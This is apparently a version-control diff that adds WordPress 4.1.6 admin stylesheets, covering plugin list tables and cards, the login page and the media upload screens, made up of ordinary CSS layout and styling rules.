+.upgrade .plugins tr:last-of-type th,
+.plugins tr.active + tr.inactive.update th,
+.plugins tr.active + tr.inactive.update td {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.plugins .active.update td,
+.plugins .active.update th,
+tr.active.update + tr.plugin-update-tr .plugin-update {
+	background-color: #fef7f1;
+}
+
+.plugins .active th.check-column {
+	border-left: 4px solid #2ea2cc;
+}
+
+.plugins .active.update th.check-column,
+.plugins .active.update + .plugin-update-tr .plugin-update {
+	border-left: 4px solid #d54e21;
+}
+
+#wpbody-content .plugins .plugin-title,
+#wpbody-content .plugins .theme-title {
+	padding-right: 12px;
+	white-space:nowrap;
+}
+
+.plugins .inactive .plugin-title strong {
+	font-weight: 400;
+}
+
+.plugins .second,
+.plugins .row-actions {
+	padding: 0 0 5px;
+}
+
+.plugins .update .second,
+.plugins .update .row-actions {
+	padding-bottom: 0;
+}
+
+.plugins-php .widefat tfoot th,
+.plugins-php .widefat tfoot td {
+	border-top-style: solid;
+	border-top-width: 1px;
+}
+
+.plugin-update-tr .update-message {
+	font-size: 13px;
+	font-weight: normal;
+	margin: 6px 12px 12px;
+	padding: 6px 12px;
+	margin: 0 10px 8px 31px;
+	background-color: #f7f7f7;
+	background-color: rgba(0,0,0,0.03);
+}
+
+.plugin-update-tr .update-message:before {
+	color: #d54e21;
+	content: '\f463';
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	margin: 0 8px 0 -2px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	vertical-align: top;
+}
+
+.plugins .plugin-update {
+	padding: 0;
+	border: none;
+	-webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+}
+
+/* update notices for active plugins */
+tr.active + tr.plugin-update-tr .plugin-update {
+	background-color: #f7fcfe;
+}
+
+tr.active + tr.plugin-update-tr .plugin-update .update-message {
+	background-color: #fcf3ef;
+}
+
+.plugin-install-php h3 {
+	clear: both;
+}
+
+.plugin-install-php h4 {
+	margin: 2.5em 0 8px;
+}
+
+.plugin-install-php .wp-filter {
+	margin-bottom: 0;
+}
+
+/* Plugin card table view */
+.plugin-group {
+	overflow: hidden; /* clearfix */
+	margin-top: 1.5em;
+}
+
+.plugin-group h3 {
+	margin-top: 0;
+}
+
+.plugin-card {
+	float: left;
+	margin: 0 8px 16px;
+	width: 48.5%;
+	width: -webkit-calc( 50% - 8px );
+	width: calc( 50% - 8px );
+	background-color: #fff;
+	border: 1px solid #dedede;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.plugin-card:nth-child(odd) {
+	clear: both;
+	margin-left: 0;
+}
+
+.plugin-card:nth-child(even) {
+	margin-right: 0;
+}
+
+@media screen and ( min-width: 1600px ) {
+	.plugin-card {
+		width: 30%;
+		width: -webkit-calc( 33.1% - 8px );
+		width: calc( 33.1% - 8px );
+	}
+
+	.plugin-card:nth-child(odd) {
+		clear: none;
+		margin-left: 8px;
+	}
+
+	.plugin-card:nth-child(even) {
+		margin-right: 8px;
+	}
+
+	.plugin-card:nth-child(3n+1) {
+		clear: both;
+		margin-left: 0;
+	}
+
+	.plugin-card:nth-child(3n) {
+		margin-right: 0;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.plugin-card {
+		margin-left: 0;
+		margin-right: 0;
+		width: 100%;
+	}
+}
+
+.plugin-card-top {
+	position: relative;
+	padding: 20px 20px 10px;
+	min-height: 135px;
+}
+
+div.action-links,
+.plugin-action-buttons {
+	margin: 0; /* Override existing margins */
+}
+
+.plugin-card h4 {
+	margin: 0 0 12px;
+	font-size: 18px;
+	line-height: 1.3;
+}
+
+.plugin-card .name,
+.plugin-card .desc {
+	margin-left: 148px; /* icon + margin */
+	margin-right: 120px; /* action links */
+}
+
+.plugin-card .action-links {
+	position: absolute;
+	top: 20px;
+	right: 20px;
+	width: 120px;
+}
+
+.plugin-action-buttons {
+	clear: right;
+	float: right;
+	margin-left: 2em;
+	margin-bottom: 1em;
+	text-align: right;
+}
+
+.plugin-action-buttons li {
+	margin-bottom: 10px;
+}
+
+.plugin-card-bottom {
+	clear: both;
+	padding: 12px 20px;
+	background-color: #fafafa;
+	border-top: 1px solid #dedede;
+	overflow: hidden;
+}
+
+.plugin-card-bottom .star-rating {
+	display: inline;
+}
+
+.plugin-card .column-rating {
+	line-height: 23px;
+}
+
+.plugin-card .column-rating,
+.plugin-card .column-updated {
+	margin-bottom: 4px;
+}
+
+.plugin-card .column-rating,
+.plugin-card .column-downloaded {
+	float: left;
+	clear: left;
+	max-width: 180px;
+}
+
+.plugin-card .column-updated,
+.plugin-card .column-compatibility {
+	text-align: right;
+	float: right;
+	clear: right;
+	width: 65%;
+	width: -webkit-calc( 100% - 180px );
+	width: calc( 100% - 180px );
+}
+
+.plugin-card .column-compatibility span:before {
+	font: normal 20px/.5 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: 4px;
+	left: -2px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+.plugin-card .compatibility-incompatible:before {
+	content: '\f158';
+}
+
+.plugin-card .compatibility-compatible:before {
+	content: '\f147';
+}
+
+.plugin-icon {
+	position: absolute;
+	top: 20px;
+	left: 20px;
+	width: 128px;
+	height: 128px;
+	margin: 0 20px 20px 0;
+}
+
+.plugin-icon img {
+	width: 128px;
+	height: 128px;
+}
+
+.no-plugin-results {
+	color: #999;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 100px 0 0;
+	text-align: center;
+}
+
+/* ms */
+/* Background Color for Site Status */
+.wp-list-table .site-deleted {
+	background: #ff8573;
+}
+.wp-list-table .site-spammed {
+	background: #faafaa;
+}
+.wp-list-table .site-archived {
+	background: #ffebe8;
+}
+.wp-list-table .site-mature {
+	background: #fecac2;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and ( max-width: 1100px ) and ( min-width: 782px ), ( max-width: 480px ) {
+	.plugin-card .action-links {
+		position: static;
+		margin-left: 148px;
+		width: auto;
+	}
+
+	.plugin-action-buttons {
+		float: none;
+		margin: 1em 0 0;
+		text-align: left;
+	}
+
+	.plugin-action-buttons li {
+		display: inline-block;
+		vertical-align: middle;
+	}
+
+	.plugin-action-buttons li .button {
+		margin-right: 20px;
+	}
+
+	.plugin-card .name,
+	.plugin-card .desc {
+		margin-right: 0;
+	}
+
+	.plugin-card .desc p:first-of-type {
+		margin-top: 0;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	/* WP List Table Options & Filters */
+	.tablenav {
+		height: auto;
+	}
+
+	.tablenav.top {
+		margin: 20px 0 5px 0;
+	}
+
+	.tablenav.bottom {
+		position: relative;
+		margin-top: 15px;
+	}
+
+	.tablenav br {
+		display: none;
+	}
+
+	.tablenav br.clear {
+		display: block;
+	}
+
+	.tablenav.top .actions,
+	.tablenav .view-switch {
+		display: none;
+	}
+
+	/* Pagination */
+	.tablenav.top .displaying-num {
+		display: none;
+	}
+
+	.tablenav.bottom .displaying-num {
+		position: absolute;
+		right: 0;
+		top: 10px;
+		font-size: 14px;
+	}
+
+	.tablenav-pages {
+		width: 100%;
+		text-align: center;
+		margin: 0 0 25px;
+	}
+
+	.tablenav.bottom .tablenav-pages {
+		margin-top: 25px;
+	}
+
+	.tablenav.top .tablenav-pages.one-page {
+		display: none;
+	}
+
+	.tablenav.bottom .tablenav-pages.one-page {
+		margin: 15px 0 0 0;
+		height: 0;
+	}
+
+	.tablenav-pages .pagination-links .paging-input {
+		font-size: 18px;
+	}
+
+	.tablenav-pages .pagination-links a {
+		padding: 8px 20px 11px;
+		font-size: 18px;
+		background: rgba(0, 0, 0, 0.05);
+	}
+
+	.tablenav-pages .pagination-links .current-page {
+		padding: 10px;
+		font-size: 14px;
+	}
+
+	/* WP List Table Adjustments: General */
+	.form-wrap > p {
+		display: none;
+	}
+
+	.comment-count {
+		font-size: 14px;
+	}
+
+	/* Columns to hide */
+	.fixed .column-date,
+	.fixed .column-author,
+	.column-categories,
+	.column-tags,
+	.tags .column-description,
+	.media .column-parent,
+	.users .column-email,
+	.users .column-name,
+	.sites .column-registered,
+	.sites .column-users {
+		display: none;
+	}
+
+	.fixed .column-comment .comment-author {
+		display: block;
+	}
+
+	/* Posts */
+	.column-title {
+		width: 85%;
+	}
+
+	.fixed .column-comments, .widefat .check-column {
+		width: 35px
+	}
+
+	.widefat thead .check-column, .widefat tfoot .check-column {
+		padding: 10px 0 10px;
+	}
+
+	.widefat * {
+		word-wrap: normal;
+	}
+
+	/* Quick Edit and Bulk Edit */
+	#wpbody-content .quick-edit-row-post .inline-edit-col-left,
+	#wpbody-content .quick-edit-row-post .inline-edit-col-right,
+	#wpbody-content .inline-edit-row-post .inline-edit-col-center,
+	#wpbody-content .quick-edit-row-page .inline-edit-col-left,
+	#wpbody-content .quick-edit-row-page .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row-post .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row .inline-edit-col-left,
+	#wpbody-content .bulk-edit-row-page .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+		float: none;
+		width: 100%;
+	}
+
+	#wpbody-content .quick-edit-row fieldset .inline-edit-col label,
+	#wpbody-content .quick-edit-row fieldset .inline-edit-group label,
+	#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,
+	#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
+		max-width: none;
+		float: none;
+		margin-bottom: 5px;
+	}
+
+	#wpbody .bulk-edit-row fieldset select {
+		display: block;
+		width: 100%;
+		max-width: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+
+	.inline-edit-row fieldset ul.cat-checklist label,
+	.inline-edit-row #bulk-titles div {
+		font-size: 16px;
+	}
+
+	.inline-edit-row fieldset label span.title {
+		float: none;
+	}
+
+	.inline-edit-row fieldset label.inline-edit-tags {
+		padding: 0 0.5em;
+	}
+
+	.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags {
+		padding: 0;
+	}
+
+	.inline-edit-row fieldset label span.input-text-wrap {
+		margin-left: 0;
+	}
+
+	.inline-edit-row fieldset input[name=jj],
+	.inline-edit-row fieldset input[name=hh],
+	.inline-edit-row fieldset input[name=mn] {
+		width: 3em;
+	}
+
+	.inline-edit-row fieldset input[name=aa] {
+		width: 4.5em;
+	}
+
+	#bulk-titles div {
+		margin: 0.8em 0.3em;
+	}
+
+	#bulk-titles div a {
+		height: 22px;
+	}
+
+	/* Taxonomies */
+	.tags .column-posts {
+		width: 74px;
+	}
+
+	.tags .column-slug {
+		width: 30%;
+	}
+
+	/* Comments */
+	.comments .column-response {
+		width: 35%;
+	}
+
+	/* Users */
+	.users .column-role {
+		width: 35%;
+	}
+
+	/* Network admin sites */
+	.sites .column-blogname {
+		width: 55%;
+	}
+
+	/* Updates */
+	#wpbody-content #update-themes-table .plugin-title {
+		width: auto;
+	}
+
+	/* Links */
+	.link-manager-php #posts-filter {
+		margin-top: 25px;
+	}
+
+	.link-manager-php .tablenav.bottom {
+		overflow: hidden;
+	}
+
+	/* Plugin/Theme Management Page */
+	.wp-list-table.plugins {
+		position: relative;
+		margin-top: 35px;
+		margin-bottom: 50px;
+	}
+
+	.wp-list-table.plugins thead .column-description,
+	#wpbody-content .wp-list-table.plugins tfoot .column-description,
+	.wp-list-table.plugins th#description {
+		display: none;
+	}
+
+	#wpbody-content .wp-list-table.plugins,
+	#wpbody-content .wp-list-table.plugins thead,
+	#wpbody-content .wp-list-table.plugins tbody,
+	#wpbody-content .wp-list-table.plugins tr,
+	#wpbody-content .wp-list-table.plugins .column-description,
+	#wpbody-content .wp-list-table.plugins .plugin-title,
+	#wpbody-content .wp-list-table.plugins .theme-title,
+	#wpbody-content .wp-list-table.plugins .plugin-update,
+	#wpbody-content .wp-list-table.plugins .manage-column.column-name {
+		display: block;
+		width: auto;
+	}
+
+	.wp-list-table.plugins thead,
+	.wp-list-table.plugins tfoot {
+		position: absolute;
+		top: -35px;
+		left: 0;
+		right: 0;
+		width: auto;
+		height: 35px;
+	}
+
+	.wp-list-table.plugins tfoot {
+		bottom: -35px;
+		top: auto;
+	}
+
+	.active, .inactive {
+		padding-top: 0;
+	}
+
+	.wp-list-table.plugins .plugin-title,
+	.wp-list-table.plugins .theme-title {
+		padding-top: 13px;
+		padding-bottom: 4px;
+	}
+
+	.plugins tr.active + tr.inactive th.check-column,
+	.plugins tr.active + tr.inactive td,
+	.wp-list-table.plugins .plugin-title,
+	.wp-list-table.plugins .theme-title,
+	.wp-list-table.plugins tbody th {
+		-webkit-box-shadow: none;
+		box-shadow: none;
+	}
+
+	.plugins tbody {
+		padding: 1px 0 0;
+	}
+
+	.plugins tr.active + tr.inactive td.column-description {
+		-webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+	}
+
+	.plugins tr.active + tr.inactive th.check-column,
+	.plugins tr.active + tr.inactive td {
+		border-top: none;
+	}
+
+	.wp-list-table.plugins .column-description {
+		padding-top: 0;
+	}
+
+	.wp-list-table.plugins .manage-column.column-name,
+	.wp-list-table.plugins .column-description,
+	.wp-list-table.plugins .plugin-title,
+	.wp-list-table.plugins .theme-title {
+		padding-right: 12px;
+		padding-left: 46px;
+	}
+
+	.wp-list-table.plugins tr {
+		position: relative;
+	}
+
+	.wp-list-table.plugins th.check-column,
+	.wp-list-table.plugins tr.update th.check-column {
+		position: absolute;
+		height: auto;
+		top: 0;
+		bottom: 0;
+		left: 0;
+		padding-left: 2px;
+		padding-top: 18px;
+	}
+
+	.wp-list-table.plugins thead th.check-column,
+	.wp-list-table.plugins tfoot th.check-column {
+		padding-left: 3px;
+		padding-top: 11px;
+		background: none;
+	}
+
+	.widefat tbody th.check-column input[type="checkbox"] {
+		margin-top: -3px;
+		margin-left: 8px;
+	}
+
+	.wp-list-table.plugins .active .check-column input,
+	.wp-list-table.plugins .update .check-column input {
+		margin-left: 5px;
+	}
+
+	.wp-list-table.plugins thead .check-column input,
+	.wp-list-table.plugins tfoot .check-column input {
+		margin-top: -6px;
+	}
+
+	.wp-list-table.plugins .active th.check-column {
+		background: none;
+	}
+
+	.wp-list-table.plugins .plugin-title strong,
+	.wp-list-table.plugins .theme-title strong {
+		font-size: 1.4em;
+		line-height: 1.6em;
+	}
+
+	/* Add New plugins page */
+	table.plugin-install .column-name,
+	table.plugin-install .column-version,
+	table.plugin-install .column-rating,
+	table.plugin-install .column-description {
+		display: block;
+		width: auto;
+	}
+
+	table.plugin-install th.column-name,
+	table.plugin-install th.column-version,
+	table.plugin-install th.column-rating,
+	table.plugin-install th.column-description {
+		display: none;
+	}
+
+	table.plugin-install td.column-name strong {
+		font-size: 1.4em;
+		line-height: 1.6em;
+	}
+
+	table.plugin-install #the-list td {
+		-webkit-box-shadow: none;
+		box-shadow: none;
+	}
+
+	table.plugin-install #the-list tr {
+		display: block;
+		-webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+		box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/login.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/login.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/login.css	(revision 33402)
@@ -0,0 +1,269 @@
+@import url(forms.css);
+@import url(l10n.css);
+
+html,
+body {
+	height: 100%;
+	margin: 0;
+	padding: 0;
+}
+
+html {
+	background: #f1f1f1;
+}
+
+body {
+	background: #f1f1f1;
+	min-width: 0;
+	color: #444;
+	font-family: "Open Sans", sans-serif;
+	font-size: 13px;
+	line-height: 1.4em;
+}
+
+a {
+	color: #0074a2;
+	-webkit-transition-property: border, background, color;
+	transition-property: border, background, color;
+	-webkit-transition-duration: .05s;
+	transition-duration: .05s;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+a {
+	outline: 0;
+}
+
+a:hover,
+a:active {
+	color: #2ea2cc;
+}
+
+a:focus {
+	color: #124964;
+}
+
+a:focus,
+a:active {
+	outline: thin dotted;
+}
+
+p {
+	line-height: 1.5;
+}
+
+.login .message {
+	border-left: 4px solid #2ea2cc;
+	padding: 1px 12px;
+	background-color: #fff;
+	-webkit-box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+.login #login_error {
+	border-left: 4px solid #dd3d36;
+	background: #fff;
+	-webkit-box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+#loginform p.submit,
+.login-action-lostpassword p.submit {
+	border: none;
+	margin: -10px 0 20px; /* May want to revisit this */
+}
+
+.login * {
+	margin: 0;
+	padding: 0;
+}
+
+.login form {
+	margin-top: 20px;
+	margin-left: 0;
+	padding: 26px 24px 46px;
+	font-weight: normal;
+	overflow: hidden;
+	background: #fff;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+.login form .forgetmenot {
+	font-weight: normal;
+	float: left;
+	margin-bottom: 0;
+}
+
+.login .button-primary {
+	float: right;
+}
+
+#login form p {
+	margin-bottom: 0;
+}
+
+#login form p.submit {
+	margin: 0;
+	padding: 0;
+}
+
+.login label {
+	color: #777;
+	font-size: 14px;
+}
+
+.login form .forgetmenot label {
+	font-size: 12px;
+	line-height: 19px;
+}
+
+.login h1 {
+	text-align: center;
+}
+
+.login h1 a {
+	background-image: url(../images/w-logo-blue.png?ver=20131202);
+	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
+	-webkit-background-size: 84px;
+	background-size: 84px;
+	background-position: center top;
+	background-repeat: no-repeat;
+	color: #999;
+	height: 84px;
+	font-size: 20px;
+	font-weight: normal;
+	line-height: 1.3em;
+	margin: 0 auto 25px;
+	padding: 0;
+	text-decoration: none;
+	width: 84px;
+	text-indent: -9999px;
+	outline: none;
+	overflow: hidden;
+	display: block;
+}
+
+#login {
+	width: 320px;
+	padding: 8% 0 0;
+	margin: auto;
+}
+
+#login_error,
+.login .message {
+	margin-left: 0;
+	padding: 12px;
+}
+
+.login #nav,
+.login #backtoblog {
+	font-size: 13px;
+	padding: 0 24px 0;
+}
+
+.login #nav {
+	margin: 24px 0 0 0;
+}
+
+#backtoblog {
+	margin: 16px 0 0 0;
+}
+
+.login #nav a,
+.login #backtoblog a {
+	text-decoration: none;
+	color: #999;
+}
+
+.login #nav a:hover,
+.login #backtoblog a:hover,
+.login h1 a:hover {
+	color: #2ea2cc;
+}
+
+.login form .input,
+.login input[type="text"] {
+	font-size: 24px;
+	width: 100%;
+	padding: 3px;
+	margin: 2px 6px 16px 0;
+}
+
+.login form .input,
+.login input[type="text"],
+.login form input[type="checkbox"] {
+	background: #fbfbfb;
+}
+
+.ie7 .login form .input,
+.ie8 .login form .input {
+	font-family: sans-serif;
+}
+
+.login #pass-strength-result {
+	width: 250px;
+	font-weight: 600;
+	margin: 12px 0 6px;
+	padding: 6px 5px;
+	text-align: center;
+}
+
+.mobile #login {
+	padding: 20px 0;
+}
+
+.mobile #login form,
+.mobile #login .message,
+.mobile #login_error {
+	margin-left: 0;
+}
+
+.mobile #login #nav,
+.mobile #login #backtoblog {
+	margin-left: 8px;
+}
+
+.mobile #login h1 a {
+	width: auto;
+}
+
+body.interim-login {
+	height: auto;
+}
+
+.interim-login #login {
+	padding: 0;
+	margin: 5px auto 20px;
+}
+
+.interim-login.login h1 a {
+	width: auto;
+}
+
+.interim-login #login_error,
+.interim-login.login .message {
+	margin: 0 0 16px;
+}
+
+.interim-login.login form {
+	margin: 0;
+}
+
+@-ms-viewport {
+	width: device-width;
+}
+
+@media screen and ( max-width: 782px ) {
+	.interim-login input[type=checkbox] {
+		height: 16px;
+		width: 16px;
+	}
+
+	.interim-login input[type=checkbox]:checked:before {
+		width: 16px;
+		font: normal 21px/1 'dashicons';
+		margin: -3px 0 0 -4px;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/media.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/media.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/media.css	(revision 33402)
@@ -0,0 +1,1197 @@
+/*------------------------------------------------------------------------------
+  14.0 - Media Screen
+------------------------------------------------------------------------------*/
+
+.media-item .describe {
+	border-collapse: collapse;
+	width: 100%;
+	border-top: 1px solid #dfdfdf;
+	clear: both;
+	cursor: default;
+}
+
+.media-item.media-blank .describe {
+	border: 0;
+}
+
+.media-item .describe th {
+	vertical-align: top;
+	text-align: left;
+	padding: 5px 10px 10px;
+	width: 140px;
+}
+
+.media-item .describe .align th {
+	padding-top: 0;
+}
+
+.media-item .media-item-info tr {
+	background-color: transparent;
+}
+
+.media-item .describe td {
+	padding: 0 8px 8px 0;
+	vertical-align: top;
+}
+
+.media-item thead.media-item-info td {
+	padding: 4px 10px 0;
+}
+
+.media-item .media-item-info .A1B1 {
+	padding: 0 0 0 10px;
+}
+
+.media-item td.savesend {
+	padding-bottom: 15px;
+}
+
+.media-item .thumbnail {
+	max-height: 128px;
+	max-width: 128px;
+}
+
+#wpbody-content #async-upload-wrap a {
+	display: none;
+}
+
+.media-upload-form {
+	margin-top: 20px;
+}
+
+.media-upload-form td label {
+	margin-right: 6px;
+	margin-left: 2px;
+}
+
+.media-upload-form .align .field label {
+	display: inline;
+	padding: 0 0 0 23px;
+	margin: 0 1em 0 3px;
+	font-weight: 600;
+}
+
+.media-upload-form tr.image-size label {
+	margin: 0 0 0 5px;
+	font-weight: 600;
+}
+
+.media-upload-form th.label label {
+	font-weight: 600;
+	margin: 0.5em;
+	font-size: 13px;
+}
+
+.media-upload-form th.label label span {
+	padding: 0 5px;
+}
+
+.media-item .describe input[type="text"],
+.media-item .describe textarea {
+	width: 460px;
+}
+
+.media-item .describe p.help {
+	margin: 0;
+	padding: 0 0 0 5px;
+}
+
+.media-item .edit-attachment,
+.describe-toggle-on,
+.describe-toggle-off {
+	display: block;
+	line-height: 36px;
+	float: right;
+	margin-right: 10px;
+}
+
+.media-item .describe-toggle-off,
+.media-item.open .describe-toggle-on {
+	display: none;
+}
+
+.media-item.open .describe-toggle-off {
+	display: block;
+}
+
+.media-upload-form .media-item {
+	min-height: 36px;
+	margin-bottom: 1px;
+	position: relative;
+	width: 100%;
+	background: #fff;
+}
+
+.media-upload-form .media-item,
+.media-upload-form .media-item .error {
+	-webkit-box-shadow: 0 1px 0 #dfdfdf;
+	box-shadow: 0 1px 0 #dfdfdf;
+}
+
+#media-items:empty {
+	border: 0 none;
+}
+
+.media-item .filename {
+	line-height: 36px;
+	overflow: hidden;
+	margin-left: 6px;
+}
+
+.media-item .pinkynail {
+	float: left;
+	margin: 2px 10px 0 3px;
+	max-width: 40px;
+	max-height: 32px;
+}
+
+.media-item .startopen,
+.media-item .startclosed {
+	display: none;
+}
+
+.media-item .original {
+	position: relative;
+	height: 34px;
+}
+
+.media-item .progress {
+	float: right;
+	height: 22px;
+	margin: 7px 6px;
+	width: 200px;
+	line-height: 2em;
+	padding: 0;
+	overflow: hidden;
+	-webkit-border-radius: 22px;
+	border-radius: 22px;
+	background: #ddd;
+	-webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.media-item .bar {
+	z-index: 9;
+	width: 0;
+	height: 100%;
+	margin-top: -22px;
+	-webkit-border-radius: 22px;
+	border-radius: 22px;
+	background-color: #0074a2;
+	-webkit-box-shadow: inset 0 0 2px rgba(0,0,0,0.3);
+	box-shadow: inset 0 0 2px rgba(0,0,0,0.3);
+}
+
+.media-item .progress .percent {
+	z-index: 10;
+	position: relative;
+	width: 200px;
+	padding: 0;
+	color: #fff;
+	text-align: center;
+	line-height: 22px;
+	font-weight: 400;
+	text-shadow: 0 1px 2px rgba(0,0,0,0.2);
+}
+
+.upload-php .fixed .column-parent {
+	width: 15%;
+}
+
+.js .html-uploader #plupload-upload-ui {
+	display: none;
+}
+
+.js .html-uploader #html-upload-ui {
+	display: block;
+}
+
+.media-upload-form .media-item.error,
+.media-upload-form .media-item .error {
+	width: auto;
+	margin: 0 0 1px 0;
+}
+
+.media-upload-form .media-item .error {
+	padding: 10px 0 10px 14px;
+}
+
+.media-item .error-div a.dismiss {
+	display: block;
+	float: right;
+	margin: 0 10px 0 15px;
+}
+
+/*------------------------------------------------------------------------------
+  14.1 - Media Library
+------------------------------------------------------------------------------*/
+
+.find-box {
+	background-color: #fff;
+	-webkit-box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	width: 600px;
+	overflow: hidden;
+	margin-left: -300px;
+	position: fixed;
+	top: 30px;
+	bottom: 30px;
+	left: 50%;
+	z-index: 100105;
+}
+
+.find-box-head {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	padding: 0 36px 0 16px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+}
+
+.find-box-inside {
+	overflow: auto;
+	padding: 16px;
+	background-color: #fff;
+	position: absolute;
+	top: 37px;
+	bottom: 45px;
+	overflow-y: scroll;
+	width: 100%;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.find-box-search {
+	padding-bottom: 16px;
+}
+
+.find-box-search .spinner {
+	float: none;
+	left: 110px;
+	position: absolute;
+	top: 2px;
+}
+
+.find-box-search,
+#find-posts-response {
+	position: relative; /* RTL fix, #WP28010 */
+}
+
+#find-posts-input,
+#find-posts-search {
+	float: left;
+}
+
+#find-posts-input {
+	width: 140px;
+	height: 28px;
+	margin: 0 4px 0 0;
+}
+
+.widefat .found-radio {
+	padding-right: 0;
+	width: 16px;
+}
+
+#find-posts-close {
+	width: 36px;
+	height: 36px;
+	position: absolute;
+	top: 0;
+	right: 0;
+	cursor: pointer;
+	text-align: center;
+	color: #666;
+}
+
+#find-posts-close:hover {
+	color: #2ea2cc;
+}
+
+#find-posts-close:before {
+	font: normal 20px/36px 'dashicons';
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	content: '\f158';
+}
+
+.find-box-buttons {
+	padding: 8px 16px;
+	background: #fcfcfc;
+	border-top: 1px solid #dfdfdf;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+}
+
+@media screen and ( max-width: 782px ) {
+	.find-box-inside {
+		bottom: 57px;
+	}
+}
+
+@media screen and ( max-width: 660px ) {
+
+	.find-box {
+		top: 0;
+		bottom: 0;
+		left: 0;
+		right: 0;
+		margin: 0;
+		width: 100%;
+	}
+
+}
+
+.ui-find-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100100;
+}
+
+ul#dismissed-updates {
+	display: none;
+}
+
+form.upgrade {
+	margin-top: 8px;
+}
+
+form.upgrade .hint {
+	font-style: italic;
+	font-size: 85%;
+	margin: -0.5em 0 2em 0;
+}
+
+#poststuff .inside .the-tagcloud {
+	margin: 5px 0 10px;
+	padding: 8px;
+	border: 1px solid #ddd;
+	line-height: 1.8em;
+	word-spacing: 3px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+.drag-drop #drag-drop-area {
+	border: 4px dashed #bbb;
+	height: 200px;
+}
+
+.drag-drop .drag-drop-inside {
+	margin: 70px auto 0;
+	width: 250px;
+}
+
+.drag-drop-inside p {
+	color: #aaa;
+	font-size: 14px;
+	margin: 5px 0;
+	display: none;
+}
+
+.drag-drop .drag-drop-inside p {
+	text-align: center;
+}
+
+.drag-drop-inside p.drag-drop-info {
+	font-size: 20px;
+}
+
+.drag-drop .drag-drop-inside p,
+.drag-drop-inside p.drag-drop-buttons {
+	display: block;
+}
+
+/*
+#drag-drop-area:-moz-drag-over {
+	border-color: #83b4d8;
+}
+border color while dragging a file over the uploader drop area */
+.drag-drop.drag-over #drag-drop-area {
+	border-color: #83b4d8;
+}
+
+#plupload-upload-ui {
+	position: relative;
+}
+
+/**
+ * Media Library grid view
+ */
+
+.media-frame.mode-grid,
+.media-frame.mode-grid .media-frame-content,
+.media-frame.mode-grid .attachments-browser .attachments,
+.media-frame.mode-grid .uploader-inline-content {
+	position: static;
+}
+
+/* Regions we don't use at all */
+.media-frame.mode-grid .media-frame-title,
+.media-frame.mode-grid .media-frame-router,
+.media-frame.mode-grid .media-frame-menu {
+	display: none;
+}
+
+.media-frame.mode-grid .media-frame-content {
+	background-color: transparent;
+	border: none;
+}
+
+.upload-php .mode-grid .media-sidebar {
+	position: relative;
+	width: auto;
+	margin-bottom: 16px;
+	padding: 0 16px;
+	border: 1px solid #c00;
+	background-color: #feebe8;
+}
+
+.upload-php .mode-grid .hide-sidebar .media-sidebar {
+	display: none;
+}
+
+.upload-php .mode-grid .media-sidebar .media-uploader-status {
+	border-bottom: none;
+	padding-bottom: 0;
+	max-width: 100%;
+}
+
+.upload-php .mode-grid .media-sidebar .upload-error {
+	margin: 20px 0;
+	padding: 0;
+	border: none;
+	background: none;
+}
+
